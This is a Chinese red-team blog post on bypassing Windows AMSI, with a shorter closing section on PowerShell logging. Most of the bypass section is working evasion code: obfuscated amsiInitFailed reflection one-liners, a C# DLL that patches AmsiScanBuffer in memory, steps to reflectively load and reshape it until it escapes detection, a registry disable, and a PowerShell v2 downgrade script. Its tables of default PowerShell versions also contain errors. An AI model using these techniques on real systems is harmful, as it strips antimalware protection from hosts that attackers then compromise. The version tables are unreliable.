AMSI 浅析及绕过

AMSI(Antimalware Scan Interface),即反恶意软件扫描接口,在windows 10和 windows server 2016上默认安装并启用。顾名思义,他的工作就是扫描、检测和阻止。windows 10和windows server2016中AMSI默认杀软就是Windows Defender。

服务和应用程序可以通过AMSI来与系统中已安装的反病毒软件进行通信,也就是Windows Defender,AMSI采用了hook方法进行检测,详细的工作原理如下:

  • 创建PowerShell进程时,AMSI.DLL将从磁盘加载到其内存地址空间。
  • 在AMSI.DLL中,有一个名为AmsiScanBuffer()的函数,是用来扫描脚本内容的函数。
  • 在PowerShell中执行命令时,任何内容都将首先发送到AmsiScanBuffer(),然后再执行。
  • 随后,AmsiScanBuffer()将Windows Defender检查,以确定是否创建了任何签名。
  • 如果该内容被认为是恶意的,它将被阻止运行。

在Windows 10上,实现AMSI的所有组件如下:

  • 用户帐户控制,或UAC(EXE、COM、MSI或ActiveX时的权限提升)
  • Powershell(脚本、交互式使用和动态代码执行)
  • Windows脚本主机(wscript.exe和cscript.exe)
  • JavaScript和VBScript
  • Office VBA宏

AMSI的整体架构如图所示:

wKg0C2DtgaSAU37WAACjNiRyrFw141.jpg

先查看一个示例:

wKg0C2DtgbOAY7CgAABqlDyHAZU198.png

如图,"amsiutils" 这个词被禁止了,AMSI认为这是一个恶意攻击。

那我们如何绕过字符串检测呢,最简单的一个方法就是使用编码或者分割成块,然后拼接来绕过

下面列出三钟方法

(1)直接把单词分成两块或者多块然后进行拼接,达到绕过的效果,但在大多数情况下可能会失败

wKg0C2DtgcWAWqpUAABz1zTgY44907.png

(2)进行base64编码直接绕过AMSI,在某些情况下,base64一下直接绕过去了

wKg0C2DtgdCAU54BAAB5G05ME48944.png

(3)使用XOR来绕过AMSI,并在运行时将字符串解码回内存。这比上面的base64方法更有效

wKg0C2DtgdAVTDzAACJvjonCds805.png

当然还有其他编码方式可以自行尝试,上面这几种方法都是为了绕过"字符串检测",但是实际过程中,我们需要执行我们的脚本,也就脚本被AMSI阻止,我们通过一个实例来演示下绕过AMSI。

最早的绕过AMSI的方法是16年一个老外发布的,命令如下

[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)

我们把它放到powershell中运行,直接被AMSI阻止

wKg0C2DtgfqAHS5dAABLoMbxhk070.png

因此,我们尝试上面方法,分割重组来实现一个简单的AMSI 绕过

$a = [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils')
$b = $a.GetField('amsiInitFailed','NonPublic,Static')
$b.SetValue($null,$true)

然后我们尝试单行执行此命令,我们可以看到前两行被AMSI阻止

wKg0C2DtghWASFnAAD7UEtVoMI278.png

所以,我们重新调整一下我们的代码,然后我们就绕过了AMSI,加载了我们的脚本

$a = 'System.Management.Automation.A';$b = 'ms';$c = 'Utils'
$d = [Ref].Assembly.GetType(('{0}{1}i{2}' -f $a,$b,$c))
$e = $d.GetField(('a{0}iInitFailed' -f $b),'NonPublic,Static')
$e.SetValue($null,$true)

当然也可以使用base64编码,或者使用hex编码,效果都是一样的

base64编码

[Ref].Assembly.GetType('System.Management.Automation.'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('QQBtAHMAaQBVAHQAaQBsAHMA')))).GetField($([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('YQBtAHMAaQBJAG4AaQB0AEYAYQBpAGwAZQBkAA=='))),'NonPublic,Static').SetValue($null,$true)

hex编码

[Ref].Assembly.GetType('System.Management.Automation.'+$("41 6D 73 69 55 74 69 6C 73".Split(" ")|forEach{[char]([convert]::toint16($_,16))}|forEach{$result=$result+$_};$result)).GetField($("61 6D 73 69 49 6E 69 74 46 61 69 6C 65 64".Split(" ")|forEach{[char]([convert]::toint16($_,16))}|forEach{$result2=$result2+$_};$result2),'NonPublic,Static').SetValue($null,$true)

wKg0C2DtglmAG7vQAAFUZJ3Y6Is893.png

这种方法并没有实际的绕过,而是禁用了AMSI,从powershell3.0开始,我们要完全绕过AMSI并执行任意powershell脚本的话,就需要完全禁用它

这是原作者的代码,把如下代码编译成C#的DLL,使用反射加载技术

using System;
using System.Runtime.InteropServices;

namespace Bypass
{
    public class AMSI
    {
        [DllImport("kernel32")]
        public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
        [DllImport("kernel32")]
        public static extern IntPtr LoadLibrary(string name);
        [DllImport("kernel32")]
        public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);

        [DllImport("Kernel32.dll", EntryPoint = "RtlMoveMemory", SetLastError = false)]
        static extern void MoveMemory(IntPtr dest, IntPtr src, int size);


        public static int Disable()
        {
            IntPtr TargetDLL = LoadLibrary("amsi.dll");
            if (TargetDLL == IntPtr.Zero)
            {
                Console.WriteLine("ERROR: Could not retrieve amsi.dll pointer.");
                return 1;
            }

            IntPtr AmsiScanBufferPtr = GetProcAddress(TargetDLL, "AmsiScanBuffer");
            if (AmsiScanBufferPtr == IntPtr.Zero)
            {
                Console.WriteLine("ERROR: Could not retrieve AmsiScanBuffer function pointer");
                return 1;
            }

            UIntPtr dwSize = (UIntPtr)5;
            uint Zero = 0;
            if (!VirtualProtect(AmsiScanBufferPtr, dwSize, 0x40, out Zero))
            {
                Console.WriteLine("ERROR: Could not change AmsiScanBuffer memory permissions!");
                return 1;
            }

            
            Byte[] Patch = { 0x31, 0xff, 0x90 };
            IntPtr unmanagedPointer = Marshal.AllocHGlobal(3);
            Marshal.Copy(Patch, 0, unmanagedPointer, 3);
            MoveMemory(AmsiScanBufferPtr + 0x001b, unmanagedPointer, 3);

            Console.WriteLine("AmsiScanBuffer patch has been applied.");
            return 0;
        }
    }
}

命名为"source.cs"

然后我们使用powershell来编译它,在同目录下打开powershell,运行以下命令编译

Add-Type -TypeDefinition ([IO.File]::ReadAllText("$pwd\Source.cs")) -ReferencedAssemblies "System.Windows.Forms" -OutputAssembly "Bypass-AMSI.dll"

编译后运行,直接被Defender给秒了(这里我把文件还原了一下,给大家看下效果图)

wKg0C2Dtgo2AJtAkAACsT4TtZA067.png

然后我们把dll文件进行base64编码****(Kali下,直接使用base64 -i 文件名,就可以得到base64编码)****,然后使用powershell进行武器化,反射加载,也是直接被秒

unction Bypass-AMSI
{
    if(-not ([System.Management.Automation.PSTypeName]"Bypass.AMSI").Type) {
        [Reflection.Assembly]::Load([Convert]::FromBase64String("你的base64编码")) | Out-Null
        Write-Output "DLL has been reflected";
    }
    [Bypass.AMSI]::Disable()
}

如图,直接被秒

wKg0C2DtgqmAGJINAABYVNnLwEs010.png

通过上面的知识,我们知道AMSI是基于字符串的检测**,那我们就用工具去定位一下查杀点在哪。**

工具地址:https://github.com/RythmStick/AMSITrigger

wKg0C2DtgsOAAXY8AACpoyOAm7E030.png

如上图所示,我们定位出查杀点是****"Bypass-AMSI、Bypass.AMSI、和一些base64中的一些字段"****。下面,我们尝试对我们的脚本进行一个免杀处理,我们直接base64编码转换成byte数组

 $string = ''
 $a = [System.Convert]::FromBase64String('你的base64编码')
 $a | foreach {$string = $string + $_.ToString()+','}
 $string 

wKg0C2DtgtuAdklhAAHDwodQ583.png

然后修改我们的源代码,加载数组

function Bypass-AMSI
{
    if(-not ([System.Management.Automation.PSTypeName]"Bypass.AMSI").Type) {
        [Reflection.Assembly]::Load([byte[]]@(这里是上面得到的byte数组)) | Out-Null
        Write-Output "DLL has been reflected";
    }
    [Bypass.AMSI]::Disable();
}

然后我们再去检测一下,这次只剩下****"Bypass-AMSI、Bypass.AMSI"****关键字

wKg0C2Dtgu6ASgSDAABV7GOJ8yE675.png

这里,如果我们直接修改这几个关键字会导致脚本运行直接报错,因为这个是运用的反射方法,不了解反射的小伙伴,去Google一下,这里我们直接修改前面的source.cs中的代码,只需要修改namespace、public class即可,如下图

wKg0C2Dtgw2Af7BlAACtimLBr3w027.png

然后编译成DLL,进行base64编码,然后转换byte数组,然后修改ps1脚本,修改完的如下:

wKg0C2DtgxAEXRWAABPQHldpk057.png

测试下效果,已经绕过AMSI

wKg0C2DtgyiAWtiQAAD1VFcx29k053.png

修改注册表,将HKCU\Software\Microsoft\Windows Script\Settings\AmsiEnable的值置为0

当然关闭Windows Defender 也可以使系统自带的AMSI检测无效化,这里注意当前权限。

wKg0C2Dtg0eAIzluAAB9XnGpcfo814.png

然后直接执行命令和加载脚本都不会拦截

wKg0C2Dtg1SAFIZLAABwY5Notgc811.png

powershell v2 版本不支持AMSI,我们可以将目标主机中的powershell降级至powershell v2版本。

代码如下:

if ($ShowOnly -eq $True)
{
        Write-Output "If .Net version 2.0.50727 is installed, run powershell -v 2 and run scripts from the new PowerShell process."
}
else
{
        Write-Verbose "Checking if .Net version 2.0.50727 is installed."
        $versions = Get-ChildItem 'HKLM:\SOFTWARE\Microsoft\NET Framework Setup\NDP' -recurse | Get-ItemProperty -name Version -EA 0 | Where { $_.PSChildName -match '^(?!S)\p{L}'} | Select -ExpandProperty Version
    if($versions -match "2.0.50727")
    {
            Write-Verbose ".Net version 2.0.50727 found."
            Write-Output "Executing the bypass."
            powershell.exe -version 2
    }
    else
    {
            Write-Verbose ".Net version 2.0.50727 not found. Can't start PowerShell v2."
    }
}

保存为 V2.ps1,运行即可绕过AMSI

wKg0C2Dtg26AMR07AACQ0Puyuvk526.png

这里使用的是一个在线平台,平台可以直接生成powershell代码,这些代码可以直接破坏或者禁用当前进程的AMSI,每次生成的代码都是被混淆的,所以完全不担心会被检测到。

地址:https://amsi.fail/

效果如下图:

wKg0C2Dtg4KAV6TEAAEihlPgrUg996.png

利用反射将内存中AmsiScanBuffer方法的检测长度置为0

脚本地址:https://gist.github.com/shantanu561993/6483e524dc225a188de04465c8512909

直接本地或者远程加载即可绕过AMSI

wKg0C2Dtg6KAOv4rAACzyTjrok616.png

Nishang也自带了bypassamsi的脚本,自行做免杀,避免上传被秒

地址:https://github.com/samratashok/nishang/blob/master/Bypass/Invoke-AmsiBypass.ps1

其他一些过时的方法,我就不加了

上面咱们说完了怎么绕过AMSI,下面咱们来说下powershell日志。

默认情况下,这四种日志功能默认是不开启的,但是在实际渗透中,系统肯定是默认开启日志记录的

wKg0C2Dtg7uACEu2AACtwdNmN1A615.png

关于日志的查看方法在事件查看器中**,下面我们来分别看下这四种**日志类型

1、模块(module)日志

事件ID:4103

路径:Microsoft > Windows > PowerShell/Operational

作用:可以为 powershell 模块启动日志记录

wKg0C2DthCWADqe6AACt326KNI736.png

使用Get-Module -ListAvailable可以获取可用的模块名

wKg0C2DthDOAbwY7AAIBhC2aJIc577.png

2、管道执行(pipeline execute)日志

事件ID:800

路径:事件管理器 > 应用程序和服务日志 > Windows PowerShell

作用:记录 powershell 管道执行过程的事件简介

wKg0C2DthECAauQ7AAEZBzpNfw542.png

3、脚本块(script block)日志

事件id:4104

路径:Microsoft > Windows > PowerShell/Operational

作用:powershell 讲记录命令、脚本块、函数和脚本的处理

wKg0C2DthE6AZrOQAADburWsVQ199.png

4、脚本转换(transcripttion)日志

可以将 powershell 命令的输入和输出捕获到文本中

wKg0C2DthFuAQWnLAAB72EqRbm4757.png

四种日志记录内容的对比

日志详情模块日志管道执行日志脚本块日志脚本转换日志
执行命令 有 有 有(包括脚本内容) 有
上下文信息 有 有 无 有
参数绑定详情 有 有 无 无
解码/解混淆代码 无 无 有 有
命令输出 无 无 无 有

powershell 每个版本对日志功能的对比

日志类型V2版本V3版本V4版本V5版本
模块日志 无 支持 支持(V3增强) 支持
管道执行日志 支持 支持 支持 支持
脚本块日志 无 无 支持 支持(自动记录恶意命令)
脚本转换日志 无 无 支持 支持(V4增强)

不同操作系统默认的powershell版本

操作系统默认Powershell版本可支持Powershell版本
Windows Server 2008(SP2) 2.0 3.0
Windows Server 2008 R2(SP1) 5.1 5.1
Windows Server 2012 3.0 5.1
Windows Server 2012(R2) 4.0 5.1
Windows 7(SP1) 5.1 5.1
Windows 8 3.0 5.1
Windows 8.1 4.0 5.1
Windows 10 5.0 5.1#
红蓝对抗AMSI绕过
posted @ 2021-10-27 15:59  SecIN社区  阅读(2107)  评论(0)    收藏  举报